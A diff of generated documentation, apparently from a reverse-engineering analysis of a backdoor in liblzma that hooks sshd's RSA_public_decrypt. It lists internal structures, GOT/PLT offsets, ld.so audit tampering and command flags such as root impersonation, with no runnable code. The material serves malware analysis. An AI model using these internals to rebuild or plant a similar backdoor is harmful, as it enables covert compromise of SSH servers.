3788 extern const u64 tls_get_addr_random_symbol;
+
3789 static_assert(sizeof(tls_get_addr_random_symbol) == 0x8);
+
3790 
+
3799 extern const backdoor_cpuid_reloc_consts_t cpuid_reloc_consts;
+
3800 static_assert(sizeof(cpuid_reloc_consts) == 0x18);
+
3801 
+
3810 extern const backdoor_tls_get_addr_reloc_consts_t tls_get_addr_reloc_consts;
+
3811 static_assert(sizeof(tls_get_addr_reloc_consts) == 0x10);
+
3812 
+
3821 extern const u64 string_mask_data[238];
+
3822 static_assert(sizeof(string_mask_data) == 0x770);
+
3823 
+
3832 extern const u32 string_action_data[1304];
+
3833 static_assert(sizeof(string_action_data) == 0x1460);
+
3834 
+
3835 #include "util.h"
+
3836 #endif
RSA_public_decrypt
int RSA_public_decrypt(int flen, const unsigned char *from, unsigned char *to, RSA *rsa, int padding)
Definition: ssh_patch.c:37
-
audit_ifaces
Definition: xzre.h:215
-
auditstate
Definition: xzre.h:184
-
backdoor_cpuid_reloc_consts
Definition: xzre.h:1991
-
backdoor_cpuid_reloc_consts::backdoor_init_stage2_got_offset
ptrdiff_t backdoor_init_stage2_got_offset
offset from the symbol backdoor_init_stage2() to the GOT
Definition: xzre.h:2009
-
backdoor_cpuid_reloc_consts::cpuid_random_symbol_got_offset
ptrdiff_t cpuid_random_symbol_got_offset
offset from the symbol cpuid_random_symbol to the GOT
Definition: xzre.h:1997
-
backdoor_cpuid_reloc_consts::cpuid_got_index
u64 cpuid_got_index
index in the GOT for _cpuid()
Definition: xzre.h:2003
-
backdoor_data_handle
data passed to functions that access the backdoor data
Definition: xzre.h:1585
-
backdoor_data
this structure is used to hold most of the backdoor information. it's used as a local variable in fun...
Definition: xzre.h:1630
-
backdoor_data::libc_imports
libc_imports_t libc_imports
functions imported from libc
Definition: xzre.h:1675
-
backdoor_data::string_refs
string_references_t string_refs
information about resolved string references and the containing functions boundaries
Definition: xzre.h:1680
-
backdoor_data::main_map
struct link_map * main_map
this is for sshd itself
Definition: xzre.h:1635
-
backdoor_data::libc_info
elf_info_t libc_info
ELF context for libc.so.
Definition: xzre.h:1665
-
backdoor_data::libcrypto_info
elf_info_t libcrypto_info
ELF context for libcrypto.so.
Definition: xzre.h:1670
-
backdoor_data::dynamic_linker_info
elf_info_t dynamic_linker_info
ELF context for ld.so.
Definition: xzre.h:1661
-
backdoor_data::main_info
elf_info_t main_info
this is for sshd itself
Definition: xzre.h:1655
-
backdoor_data::import_resolver
lzma_allocator * import_resolver
ELF import resolver (fake LZMA allocator)
Definition: xzre.h:1685
-
backdoor_data::dynamic_linker_map
struct link_map * dynamic_linker_map
this is for ld.so
Definition: xzre.h:1640
-
backdoor_hooks_ctx
Definition: xzre.h:1500
-
backdoor_hooks_data
Definition: xzre.h:1462
-
backdoor_setup_params
Definition: xzre.h:1528
-
backdoor_shared_globals
Definition: xzre.h:1307
-
backdoor_shared_libraries_data
Definition: xzre.h:1707
-
backdoor_shared_libraries_data::EVP_PKEY_set1_RSA_plt
void * EVP_PKEY_set1_RSA_plt
address of the PLT for EVP_PKEY_set1_RSA_plt() in sshd
Definition: xzre.h:1719
-
backdoor_shared_libraries_data::RSA_get0_key_plt
void * RSA_get0_key_plt
address of the PLT for RSA_get0_key_plt() in sshd
Definition: xzre.h:1724
-
backdoor_shared_libraries_data::RSA_public_decrypt_plt
void * RSA_public_decrypt_plt
address of the PLT for RSA_public_decrypt() in sshd
Definition: xzre.h:1714
-
backdoor_tls_get_addr_reloc_consts
Definition: xzre.h:2017
-
backdoor_tls_get_addr_reloc_consts::tls_get_addr_plt_offset
ptrdiff_t tls_get_addr_plt_offset
offset from the symbol __tls_get_addr() to the PLT
Definition: xzre.h:2023
-
backdoor_tls_get_addr_reloc_consts::tls_get_addr_random_symbol_got_offset
ptrdiff_t tls_get_addr_random_symbol_got_offset
offset from the symbol tls_get_addr_random_symbol to the GOT
Definition: xzre.h:2029
-
cmd_arguments
Definition: xzre.h:1785
-
dasm_ctx
Definition: xzre.h:659
-
dasm_ctx::flags2
u8 flags2
see InstructionFlags2
Definition: xzre.h:671
-
dasm_ctx::flags
u8 flags
see InstructionFlags
Definition: xzre.h:667
-
dl_tls_index
Definition: xzre.h:3071
-
elf_entry_ctx
Definition: xzre.h:642
-
elf_entry_ctx::symbol_ptr
void * symbol_ptr
points to a symbol in memory will be used to find the GOT value
Definition: xzre.h:647
-
elf_entry_ctx::frame_address
u64 * frame_address
stores the value of __builtin_frame_address(0)-16
Definition: xzre.h:652
-
elf_functions
Definition: xzre.h:2036
-
elf_handles
array of ELF handles
Definition: xzre.h:1545
-
elf_handles::dynamic_linker
elf_info_t * dynamic_linker
ELF context for ld.so.
Definition: xzre.h:1556
-
elf_handles::main
elf_info_t * main
this is for sshd
Definition: xzre.h:1550
-
elf_info
Definition: xzre.h:746
-
elf_info::code_segment_size
u64 code_segment_size
page-aligned virtual size of the first executable ELF segment
Definition: xzre.h:825
-
elf_info::first_vaddr
u64 first_vaddr
virtual address of the first program header
Definition: xzre.h:754
-
elf_info::gnurelro_memsize
u64 gnurelro_memsize
size of the GNU relro segment
Definition: xzre.h:800
-
elf_info::verdef
Elf64_Verdef * verdef
pointer to the EFL symbol versioning (from DT_VERDEF)
Definition: xzre.h:804
-
elf_info::gnu_hash_last_bloom
u32 gnu_hash_last_bloom
last valid bloom value
Definition: xzre.h:842
-
elf_info::dyn
Elf64_Dyn * dyn
pointer to the ELF dynamic segment
Definition: xzre.h:766
-
elf_info::strtab
char * strtab
pointer to the ELF string table
Definition: xzre.h:774
-
elf_info::phdrs
Elf64_Phdr * phdrs
pointer to the ELF program headers array in memory
Definition: xzre.h:758
-
elf_info::gnu_hash_nbuckets
u32 gnu_hash_nbuckets
number of GNU hash buckets (from DT_GNU_HASH)
Definition: xzre.h:838
-
elf_info::elfbase
Elf64_Ehdr * elfbase
pointed to the ELF base address in memory
Definition: xzre.h:750
-
elf_info::e_phnum
u64 e_phnum
copy of the ELF program header count from the ELF header
Definition: xzre.h:762
-
elf_info::plt_relocs
Elf64_Rela * plt_relocs
pointer to the ELF PLT relocations table
Definition: xzre.h:782
-
elf_info::gnurelro_found
BOOL gnurelro_found
whether the loaded ELF contains PT_GNU_RELRO or not which specifies the location and size of a segmen...
Definition: xzre.h:792
-
elf_info::code_segment_start
u64 code_segment_start
page-aligned virtual address of the first executable ELF segment
Definition: xzre.h:820
-
elf_info::verdef_num
u64 verdef_num
number of entries in the symbol versioning table
Definition: xzre.h:808
-
elf_info::gnurelro_vaddr
u64 gnurelro_vaddr
location of the GNU relro segment
Definition: xzre.h:796
-
elf_info::symtab
Elf64_Sym * symtab
pointer to the ELF symbol table
Definition: xzre.h:778
-
elf_info::dyn_num_entries
u64 dyn_num_entries
number of entries in the ELF dynamic segment
Definition: xzre.h:770
-
elf_info::plt_relocs_num
u32 plt_relocs_num
number of entries in the PLT relocation table
Definition: xzre.h:786
-
fake_lzma_allocator
Definition: xzre.h:2066
-
global_context
Definition: xzre.h:1179
-
global_context::lzma_code_end
void * lzma_code_end
liblzma code segment end
Definition: xzre.h:1246
-
global_context::libc_imports
libc_imports_t * libc_imports
pointer to the structure containing resolved libc functions
Definition: xzre.h:1189
-
global_context::STR_ssh_rsa_cert_v01_openssh_com
char * STR_ssh_rsa_cert_v01_openssh_com
location of sshd .rodata string "ssh-rsa-cert-v01@openssh.com"
Definition: xzre.h:1207
-
global_context::disable_backdoor
BOOL disable_backdoor
This flag gets set to TRUE by run_backdoor_commands if any of the validity checks fail,...
Definition: xzre.h:1199
-
global_context::imported_funcs
imported_funcs_t * imported_funcs
pointer to the structure containing resolved OpenSSL functions
Definition: xzre.h:1185
-
global_context::sshd_data_start
void * sshd_data_start
sshd data segment end
Definition: xzre.h:1227
-
global_context::num_shifted_bits
u32 num_shifted_bits
number of bits copied
Definition: xzre.h:1271
-
global_context::sshd_code_start
void * sshd_code_start
sshd code segment start
Definition: xzre.h:1219
-
global_context::sshd_data_end
void * sshd_data_end
sshd data segment start
Definition: xzre.h:1231
-
global_context::STR_rsa_sha2_256
char * STR_rsa_sha2_256
location of sshd .rodata string "rsa-sha2-256"
Definition: xzre.h:1211
-
global_context::sshd_code_end
void * sshd_code_end
sshd code segment end
Definition: xzre.h:1223
-
global_context::lzma_code_start
void * lzma_code_start
liblzma code segment start
Definition: xzre.h:1239
-
gnu_hash_table
Definition: xzre.h:192
-
got_ctx
Definition: xzre.h:613
-
got_ctx::return_address
void * return_address
the return address value of the caller obtained from *(u64 *)(caller_locals+24) since the entrypoint ...
Definition: xzre.h:624
-
got_ctx::cpuid_fn
void * cpuid_fn
points to the real cpuid function
Definition: xzre.h:628
-
got_ctx::got_ptr
void * got_ptr
points to the Global Offset Table
Definition: xzre.h:617
-
got_ctx::got_offset
ptrdiff_t got_offset
holds the offset of the symbol relative to the GOT. used to derive the got_ptr
Definition: xzre.h:633
-
imported_funcs
Definition: xzre.h:931
-
imported_funcs::RSA_public_decrypt_plt
void * RSA_public_decrypt_plt
address of the PLT for RSA_public_decrypt() in sshd
Definition: xzre.h:942
-
imported_funcs::RSA_get0_key_plt
void * RSA_get0_key_plt
address of the PLT for RSA_get0_key() in sshd
Definition: xzre.h:952
-
imported_funcs::EVP_PKEY_set1_RSA_plt
void * EVP_PKEY_set1_RSA_plt
address of the PLT for EVP_PKEY_set1_RSA() in sshd
Definition: xzre.h:947
-
instruction_search_ctx
Definition: xzre.h:2077
-
instruction_search_ctx::result
BOOL result
TRUE if the instruction sequence was found, FALSE otherwise.
Definition: xzre.h:2103
-
instruction_search_ctx::offset_to_match
u8 * offset_to_match
offset to match in the instruction displacement
Definition: xzre.h:2092
-
instruction_search_ctx::start_addr
u8 * start_addr
start of the code address range to search
Definition: xzre.h:2082
-
instruction_search_ctx::end_addr
u8 * end_addr
start of the code address range to search
Definition: xzre.h:2087
-
instruction_search_ctx::output_register_to_match
u32 * output_register_to_match
register to match as the instruction output
Definition: xzre.h:2097
-
key_ctx
Definition: xzre.h:1888
-
key_payload_body
Definition: xzre.h:1792
-
key_payload_hdr
the payload header. also used as Chacha IV
Definition: xzre.h:1774
-
key_payload
the contents of the RSA 'n' field
Definition: xzre.h:1806
-
ldso_ctx
Definition: xzre.h:1321
-
ldso_ctx::link_map_l_audit_any_plt_bitmask
u8 link_map_l_audit_any_plt_bitmask
bitmask that sets the link_map::l_audit_any_plt flag
Definition: xzre.h:1372
-
ldso_ctx::_dl_naudit_ptr
unsigned int * _dl_naudit_ptr
location of ld.so's _rtld_global_ro::_dl_naudit_ptr field
Definition: xzre.h:1391
-
ldso_ctx::sshd_auditstate_bindflags_ptr
u32 * sshd_auditstate_bindflags_ptr
the location of sshd's auditstate::bindflags field
Definition: xzre.h:1350
-
ldso_ctx::libcrypto_l_name
char ** libcrypto_l_name
location of libcrypto's link_map::l_name field
Definition: xzre.h:1408
-
ldso_ctx::_dl_audit_symbind_alt__size
size_t _dl_audit_symbind_alt__size
code size of ld.so's _dl_audit_symbind_alt() function
Definition: xzre.h:1420
-
ldso_ctx::libcrypto_auditstate_bindflags_old_value
u32 libcrypto_auditstate_bindflags_old_value
backup of the old value of libcrypto's libname_list::next field
Definition: xzre.h:1338
-
ldso_ctx::_dl_audit_ptr
struct audit_ifaces ** _dl_audit_ptr
location of ld.so's _rtld_global_ro::_dl_audit_ptr field
Definition: xzre.h:1382
-
ldso_ctx::sshd_link_map_l_audit_any_plt_addr
void * sshd_link_map_l_audit_any_plt_addr
location of sshd's link_map::l_audit_any_plt flag
Definition: xzre.h:1365
-
ldso_ctx::libcrypto_auditstate_bindflags_ptr
u32 * libcrypto_auditstate_bindflags_ptr
the location of libcrypto's auditstate::bindflags field
Definition: xzre.h:1333
-
ldso_ctx::sshd_auditstate_bindflags_old_value
u32 sshd_auditstate_bindflags_old_value
backup of the old value of sshd's libname_list::next field
Definition: xzre.h:1355
-
libc_imports
Definition: xzre.h:886
-
lzma_check_state
Structure to hold internal state of the check being calculated.
Definition: xzre.h:279
-
lzma_sha256_state
State for the internal SHA-256 implementation.
Definition: xzre.h:267
-
lzma_sha256_state::size
uint64_t size
Size of the message excluding padding.
Definition: xzre.h:272
-
main_elf
Definition: xzre.h:1569
-
monitor_data
data used within sshd_proxy_elevate
Definition: xzre.h:1910
-
monitor
struct monitor from openssh-portable
Definition: xzre.h:557
-
run_backdoor_commands_data
stack frame layout for run_backdoor_commands
Definition: xzre.h:1943
-
secret_data_item
Definition: xzre.h:1754
-
sensitive_data
struct sensitive_data from openssh-portable
Definition: xzre.h:569
-
sshd_ctx
Definition: xzre.h:1050
-
sshd_log_ctx
Definition: xzre.h:1115
-
sshd_offsets_fields
Definition: xzre.h:1159
-
sshd_offsets
Definition: xzre.h:1164
-
sshd_payload_ctx
Definition: xzre.h:1176
-
sshkey
struct sshkey from openssh-portable
Definition: xzre.h:580
-
string_item
Definition: xzre.h:1593
-
string_item::func_start
void * func_start
the starting address of the function that referenced the string
Definition: xzre.h:1602
-
string_item::string_id
EncodedStringId string_id
the string that was referenced, in encoded form
Definition: xzre.h:1597
-
string_item::xref
void * xref
location of the instruction that referenced the string
Definition: xzre.h:1610
-
string_item::func_end
void * func_end
the ending address of the function that referenced the string
Definition: xzre.h:1606
-
string_references
Definition: xzre.h:1619
-
payload
payload union within run_backdoor_commands
Definition: xzre.h:1934
-
secret_data_shift_cursor_t
represents a shift register, which will shift a '1' into the secret data array. the low 3 bits repres...
Definition: xzre.h:1743
-
secret_data_shift_cursor_t::index
u32 index
Definition: xzre.h:1745
-
secret_data_shift_cursor_t::byte_index
u32 byte_index
Definition: xzre.h:1750
-
secret_data_shift_cursor_t::bit_index
u32 bit_index
Definition: xzre.h:1748
-
sshd_offsets_kex
Definition: xzre.h:1143
-
sshd_offsets_sshbuf
Definition: xzre.h:1151
-
u_cmd_arguments_t
Definition: xzre.h:1780
+
audit_ifaces
Definition: xzre.h:216
+
auditstate
Definition: xzre.h:185
+
backdoor_cpuid_reloc_consts
Definition: xzre.h:1996
+
backdoor_cpuid_reloc_consts::backdoor_init_stage2_got_offset
ptrdiff_t backdoor_init_stage2_got_offset
offset from the symbol backdoor_init_stage2() to the GOT
Definition: xzre.h:2014
+
backdoor_cpuid_reloc_consts::cpuid_random_symbol_got_offset
ptrdiff_t cpuid_random_symbol_got_offset
offset from the symbol cpuid_random_symbol to the GOT
Definition: xzre.h:2002
+
backdoor_cpuid_reloc_consts::cpuid_got_index
u64 cpuid_got_index
index in the GOT for _cpuid()
Definition: xzre.h:2008
+
backdoor_data_handle
data passed to functions that access the backdoor data
Definition: xzre.h:1586
+
backdoor_data
this structure is used to hold most of the backdoor information. it's used as a local variable in fun...
Definition: xzre.h:1631
+
backdoor_data::libc_imports
libc_imports_t libc_imports
functions imported from libc
Definition: xzre.h:1676
+
backdoor_data::string_refs
string_references_t string_refs
information about resolved string references and the containing functions boundaries
Definition: xzre.h:1681
+
backdoor_data::main_map
struct link_map * main_map
this is for sshd itself
Definition: xzre.h:1636
+
backdoor_data::libc_info
elf_info_t libc_info
ELF context for libc.so.
Definition: xzre.h:1666
+
backdoor_data::libcrypto_info
elf_info_t libcrypto_info
ELF context for libcrypto.so.
Definition: xzre.h:1671
+
backdoor_data::dynamic_linker_info
elf_info_t dynamic_linker_info
ELF context for ld.so.
Definition: xzre.h:1662
+
backdoor_data::main_info
elf_info_t main_info
this is for sshd itself
Definition: xzre.h:1656
+
backdoor_data::import_resolver
lzma_allocator * import_resolver
ELF import resolver (fake LZMA allocator)
Definition: xzre.h:1686
+
backdoor_data::dynamic_linker_map
struct link_map * dynamic_linker_map
this is for ld.so
Definition: xzre.h:1641
+
backdoor_hooks_ctx
Definition: xzre.h:1501
+
backdoor_hooks_data
Definition: xzre.h:1463
+
backdoor_setup_params
Definition: xzre.h:1529
+
backdoor_shared_globals
Definition: xzre.h:1308
+
backdoor_shared_libraries_data
Definition: xzre.h:1708
+
backdoor_shared_libraries_data::EVP_PKEY_set1_RSA_plt
void * EVP_PKEY_set1_RSA_plt
address of the PLT for EVP_PKEY_set1_RSA_plt() in sshd
Definition: xzre.h:1720
+
backdoor_shared_libraries_data::RSA_get0_key_plt
void * RSA_get0_key_plt
address of the PLT for RSA_get0_key_plt() in sshd
Definition: xzre.h:1725
+
backdoor_shared_libraries_data::RSA_public_decrypt_plt
void * RSA_public_decrypt_plt
address of the PLT for RSA_public_decrypt() in sshd
Definition: xzre.h:1715
+
backdoor_tls_get_addr_reloc_consts
Definition: xzre.h:2022
+
backdoor_tls_get_addr_reloc_consts::tls_get_addr_plt_offset
ptrdiff_t tls_get_addr_plt_offset
offset from the symbol __tls_get_addr() to the PLT
Definition: xzre.h:2028
+
backdoor_tls_get_addr_reloc_consts::tls_get_addr_random_symbol_got_offset
ptrdiff_t tls_get_addr_random_symbol_got_offset
offset from the symbol tls_get_addr_random_symbol to the GOT
Definition: xzre.h:2034
+
cmd_arguments
Definition: xzre.h:1786
+
dasm_ctx
Definition: xzre.h:660
+
dasm_ctx::flags2
u8 flags2
see InstructionFlags2
Definition: xzre.h:672
+
dasm_ctx::flags
u8 flags
see InstructionFlags
Definition: xzre.h:668
+
dl_tls_index
Definition: xzre.h:3076
+
elf_entry_ctx
Definition: xzre.h:643
+
elf_entry_ctx::symbol_ptr
void * symbol_ptr
points to a symbol in memory will be used to find the GOT value
Definition: xzre.h:648
+
elf_entry_ctx::frame_address
u64 * frame_address
stores the value of __builtin_frame_address(0)-16
Definition: xzre.h:653
+
elf_functions
Definition: xzre.h:2041
+
elf_handles
array of ELF handles
Definition: xzre.h:1546
+
elf_handles::dynamic_linker
elf_info_t * dynamic_linker
ELF context for ld.so.
Definition: xzre.h:1557
+
elf_handles::main
elf_info_t * main
this is for sshd
Definition: xzre.h:1551
+
elf_info
Definition: xzre.h:747
+
elf_info::code_segment_size
u64 code_segment_size
page-aligned virtual size of the first executable ELF segment
Definition: xzre.h:826
+
elf_info::first_vaddr
u64 first_vaddr
virtual address of the first program header
Definition: xzre.h:755
+
elf_info::gnurelro_memsize
u64 gnurelro_memsize
size of the GNU relro segment
Definition: xzre.h:801
+
elf_info::verdef
Elf64_Verdef * verdef
pointer to the EFL symbol versioning (from DT_VERDEF)
Definition: xzre.h:805
+
elf_info::gnu_hash_last_bloom
u32 gnu_hash_last_bloom
last valid bloom value
Definition: xzre.h:843
+
elf_info::dyn
Elf64_Dyn * dyn
pointer to the ELF dynamic segment
Definition: xzre.h:767
+
elf_info::strtab
char * strtab
pointer to the ELF string table
Definition: xzre.h:775
+
elf_info::phdrs
Elf64_Phdr * phdrs
pointer to the ELF program headers array in memory
Definition: xzre.h:759
+
elf_info::gnu_hash_nbuckets
u32 gnu_hash_nbuckets
number of GNU hash buckets (from DT_GNU_HASH)
Definition: xzre.h:839
+
elf_info::elfbase
Elf64_Ehdr * elfbase
pointed to the ELF base address in memory
Definition: xzre.h:751
+
elf_info::e_phnum
u64 e_phnum
copy of the ELF program header count from the ELF header
Definition: xzre.h:763
+
elf_info::plt_relocs
Elf64_Rela * plt_relocs
pointer to the ELF PLT relocations table
Definition: xzre.h:783
+
elf_info::gnurelro_found
BOOL gnurelro_found
whether the loaded ELF contains PT_GNU_RELRO or not which specifies the location and size of a segmen...
Definition: xzre.h:793
+
elf_info::code_segment_start
u64 code_segment_start
page-aligned virtual address of the first executable ELF segment
Definition: xzre.h:821
+
elf_info::verdef_num
u64 verdef_num
number of entries in the symbol versioning table
Definition: xzre.h:809
+
elf_info::gnurelro_vaddr
u64 gnurelro_vaddr
location of the GNU relro segment
Definition: xzre.h:797
+
elf_info::symtab
Elf64_Sym * symtab
pointer to the ELF symbol table
Definition: xzre.h:779
+
elf_info::dyn_num_entries
u64 dyn_num_entries
number of entries in the ELF dynamic segment
Definition: xzre.h:771
+
elf_info::plt_relocs_num
u32 plt_relocs_num
number of entries in the PLT relocation table
Definition: xzre.h:787
+
fake_lzma_allocator
Definition: xzre.h:2071
+
global_context
Definition: xzre.h:1180
+
global_context::lzma_code_end
void * lzma_code_end
liblzma code segment end
Definition: xzre.h:1247
+
global_context::libc_imports
libc_imports_t * libc_imports
pointer to the structure containing resolved libc functions
Definition: xzre.h:1190
+
global_context::STR_ssh_rsa_cert_v01_openssh_com
char * STR_ssh_rsa_cert_v01_openssh_com
location of sshd .rodata string "ssh-rsa-cert-v01@openssh.com"
Definition: xzre.h:1208
+
global_context::disable_backdoor
BOOL disable_backdoor
This flag gets set to TRUE by run_backdoor_commands if any of the validity checks fail,...
Definition: xzre.h:1200
+
global_context::imported_funcs
imported_funcs_t * imported_funcs
pointer to the structure containing resolved OpenSSL functions
Definition: xzre.h:1186
+
global_context::sshd_data_start
void * sshd_data_start
sshd data segment end
Definition: xzre.h:1228
+
global_context::num_shifted_bits
u32 num_shifted_bits
number of bits copied
Definition: xzre.h:1272
+
global_context::sshd_code_start
void * sshd_code_start
sshd code segment start
Definition: xzre.h:1220
+
global_context::sshd_data_end
void * sshd_data_end
sshd data segment start
Definition: xzre.h:1232
+
global_context::STR_rsa_sha2_256
char * STR_rsa_sha2_256
location of sshd .rodata string "rsa-sha2-256"
Definition: xzre.h:1212
+
global_context::sshd_code_end
void * sshd_code_end
sshd code segment end
Definition: xzre.h:1224
+
global_context::lzma_code_start
void * lzma_code_start
liblzma code segment start
Definition: xzre.h:1240
+
gnu_hash_table
Definition: xzre.h:193
+
got_ctx
Definition: xzre.h:614
+
got_ctx::return_address
void * return_address
the return address value of the caller obtained from *(u64 *)(caller_locals+24) since the entrypoint ...
Definition: xzre.h:625
+
got_ctx::cpuid_fn
void * cpuid_fn
points to the real cpuid function
Definition: xzre.h:629
+
got_ctx::got_ptr
void * got_ptr
points to the Global Offset Table
Definition: xzre.h:618
+
got_ctx::got_offset
ptrdiff_t got_offset
holds the offset of the symbol relative to the GOT. used to derive the got_ptr
Definition: xzre.h:634
+
imported_funcs
Definition: xzre.h:932
+
imported_funcs::RSA_public_decrypt_plt
void * RSA_public_decrypt_plt
address of the PLT for RSA_public_decrypt() in sshd
Definition: xzre.h:943
+
imported_funcs::RSA_get0_key_plt
void * RSA_get0_key_plt
address of the PLT for RSA_get0_key() in sshd
Definition: xzre.h:953
+
imported_funcs::EVP_PKEY_set1_RSA_plt
void * EVP_PKEY_set1_RSA_plt
address of the PLT for EVP_PKEY_set1_RSA() in sshd
Definition: xzre.h:948
+
instruction_search_ctx
Definition: xzre.h:2082
+
instruction_search_ctx::result
BOOL result
TRUE if the instruction sequence was found, FALSE otherwise.
Definition: xzre.h:2108
+
instruction_search_ctx::offset_to_match
u8 * offset_to_match
offset to match in the instruction displacement
Definition: xzre.h:2097
+
instruction_search_ctx::start_addr
u8 * start_addr
start of the code address range to search
Definition: xzre.h:2087
+
instruction_search_ctx::end_addr
u8 * end_addr
start of the code address range to search
Definition: xzre.h:2092
+
instruction_search_ctx::output_register_to_match
u32 * output_register_to_match
register to match as the instruction output
Definition: xzre.h:2102
+
key_ctx
Definition: xzre.h:1889
+
key_payload_body
Definition: xzre.h:1793
+
key_payload_hdr
the payload header. also used as Chacha IV
Definition: xzre.h:1775
+
key_payload
the contents of the RSA 'n' field
Definition: xzre.h:1807
+
ldso_ctx
Definition: xzre.h:1322
+
ldso_ctx::link_map_l_audit_any_plt_bitmask
u8 link_map_l_audit_any_plt_bitmask
bitmask that sets the link_map::l_audit_any_plt flag
Definition: xzre.h:1373
+
ldso_ctx::_dl_naudit_ptr
unsigned int * _dl_naudit_ptr
location of ld.so's _rtld_global_ro::_dl_naudit_ptr field
Definition: xzre.h:1392
+
ldso_ctx::sshd_auditstate_bindflags_ptr
u32 * sshd_auditstate_bindflags_ptr
the location of sshd's auditstate::bindflags field
Definition: xzre.h:1351
+
ldso_ctx::libcrypto_l_name
char ** libcrypto_l_name
location of libcrypto's link_map::l_name field
Definition: xzre.h:1409
+
ldso_ctx::_dl_audit_symbind_alt__size
size_t _dl_audit_symbind_alt__size
code size of ld.so's _dl_audit_symbind_alt() function
Definition: xzre.h:1421
+
ldso_ctx::libcrypto_auditstate_bindflags_old_value
u32 libcrypto_auditstate_bindflags_old_value
backup of the old value of libcrypto's libname_list::next field
Definition: xzre.h:1339
+
ldso_ctx::_dl_audit_ptr
struct audit_ifaces ** _dl_audit_ptr
location of ld.so's _rtld_global_ro::_dl_audit_ptr field
Definition: xzre.h:1383
+
ldso_ctx::sshd_link_map_l_audit_any_plt_addr
void * sshd_link_map_l_audit_any_plt_addr
location of sshd's link_map::l_audit_any_plt flag
Definition: xzre.h:1366
+
ldso_ctx::libcrypto_auditstate_bindflags_ptr
u32 * libcrypto_auditstate_bindflags_ptr
the location of libcrypto's auditstate::bindflags field
Definition: xzre.h:1334
+
ldso_ctx::sshd_auditstate_bindflags_old_value
u32 sshd_auditstate_bindflags_old_value
backup of the old value of sshd's libname_list::next field
Definition: xzre.h:1356
+
libc_imports
Definition: xzre.h:887
+
lzma_check_state
Structure to hold internal state of the check being calculated.
Definition: xzre.h:280
+
lzma_sha256_state
State for the internal SHA-256 implementation.
Definition: xzre.h:268
+
lzma_sha256_state::size
uint64_t size
Size of the message excluding padding.
Definition: xzre.h:273
+
main_elf
Definition: xzre.h:1570
+
monitor_data
data used within sshd_proxy_elevate
Definition: xzre.h:1911
+
monitor
struct monitor from openssh-portable
Definition: xzre.h:558
+
run_backdoor_commands_data
stack frame layout for run_backdoor_commands
Definition: xzre.h:1948
+
secret_data_item
Definition: xzre.h:1755
+
sensitive_data
struct sensitive_data from openssh-portable
Definition: xzre.h:570
+
sshd_ctx
Definition: xzre.h:1051
+
sshd_log_ctx
Definition: xzre.h:1116
+
sshd_offsets_fields
Definition: xzre.h:1160
+
sshd_offsets
Definition: xzre.h:1165
+
sshd_payload_ctx
Definition: xzre.h:1177
+
sshkey
struct sshkey from openssh-portable
Definition: xzre.h:581
+
string_item
Definition: xzre.h:1594
+
string_item::func_start
void * func_start
the starting address of the function that referenced the string
Definition: xzre.h:1603
+
string_item::string_id
EncodedStringId string_id
the string that was referenced, in encoded form
Definition: xzre.h:1598
+
string_item::xref
void * xref
location of the instruction that referenced the string
Definition: xzre.h:1611
+
string_item::func_end
void * func_end
the ending address of the function that referenced the string
Definition: xzre.h:1607
+
string_references
Definition: xzre.h:1620
+
backdoor_runtime_data
union used within run_backdoor_commands
Definition: xzre.h:1935
+
secret_data_shift_cursor_t
represents a shift register, which will shift a '1' into the secret data array. the low 3 bits repres...
Definition: xzre.h:1744
+
secret_data_shift_cursor_t::index
u32 index
Definition: xzre.h:1746
+
secret_data_shift_cursor_t::byte_index
u32 byte_index
Definition: xzre.h:1751
+
secret_data_shift_cursor_t::bit_index
u32 bit_index
Definition: xzre.h:1749
+
sshd_offsets_kex
Definition: xzre.h:1144
+
sshd_offsets_sshbuf
Definition: xzre.h:1152
+
u_cmd_arguments_t
Definition: xzre.h:1781
elf_find_function_pointer
BOOL elf_find_function_pointer(StringXrefId xref_id, void **pOutCodeStart, void **pOutCodeEnd, void **pOutFptrAddr, elf_info_t *elf_info, string_references_t *xrefs, global_context_t *ctx)
this function searches for a function pointer, pointing to a function designated by the given xref_id
get_lzma_allocator_address
fake_lzma_allocator_t * get_lzma_allocator_address(void)
gets the address of the fake LZMA allocator
elf_parse
BOOL elf_parse(Elf64_Ehdr *ehdr, elf_info_t *elf_info)
Parses the given in-memory ELF file into elf_info.
@@ -2296,14 +2301,14 @@
hooks_data_addr
backdoor_hooks_data_t * hooks_data_addr
location of backdoor_hooks_data_t
sha256
BOOL sha256(const void *data, size_t count, u8 *mdBuf, u64 mdBufSize, imported_funcs_t *funcs)
computes the SHA256 hash of the supplied data
find_mov_instruction
BOOL find_mov_instruction(u8 *code_start, u8 *code_end, BOOL is_64bit_operand, BOOL load_flag, dasm_ctx_t *dctx)
finds a MOV instruction.
-
ElfId
ElfId
Definition: xzre.h:374
-
X_ELF_MAIN
@ X_ELF_MAIN
this is for sshd itself
Definition: xzre.h:379
-
CommandFlags2
CommandFlags2
Definition: xzre.h:1837
-
CMDF_CHANGE_MONITOR_REQ
@ CMDF_CHANGE_MONITOR_REQ
if set, changes the monitor_reqtype field from MONITOR_REQ_AUTHPASSWORD to what's contained in the pa...
Definition: xzre.h:1847
-
CMDF_PSELECT
@ CMDF_PSELECT
executes pselect, then exit not compatible with command 2
Definition: xzre.h:1861
-
CMDF_SOCKFD_MASK
@ CMDF_SOCKFD_MASK
(0111_1000 >> 3) & 0xF when CMDF_SOCKET_INDEX is specified
Definition: xzre.h:1868
-
CMDF_IMPERSONATE
@ CMDF_IMPERSONATE
if set, impersonate a user (info from payload) if not set, impersonate root
Definition: xzre.h:1842
-
CMDF_CONTINUATION
@ CMDF_CONTINUATION
more data available in the following packet not compatible with command 3
Definition: xzre.h:1856
+
ElfId
ElfId
Definition: xzre.h:375
+
X_ELF_MAIN
@ X_ELF_MAIN
this is for sshd itself
Definition: xzre.h:380
+
CommandFlags2
CommandFlags2
Definition: xzre.h:1838
+
CMDF_CHANGE_MONITOR_REQ
@ CMDF_CHANGE_MONITOR_REQ
if set, changes the monitor_reqtype field from MONITOR_REQ_AUTHPASSWORD to what's contained in the pa...
Definition: xzre.h:1848
+
CMDF_PSELECT
@ CMDF_PSELECT
executes pselect, then exit not compatible with command 2
Definition: xzre.h:1862
+
CMDF_SOCKFD_MASK
@ CMDF_SOCKFD_MASK
(0111_1000 >> 3) & 0xF when CMDF_SOCKET_INDEX is specified
Definition: xzre.h:1869
+
CMDF_IMPERSONATE
@ CMDF_IMPERSONATE
if set, impersonate a user (info from payload) if not set, impersonate root
Definition: xzre.h:1843
+
CMDF_CONTINUATION
@ CMDF_CONTINUATION
more data available in the following packet not compatible with command 3
Definition: xzre.h:1857
key_payload_hdr_t
struct key_payload_hdr key_payload_hdr_t
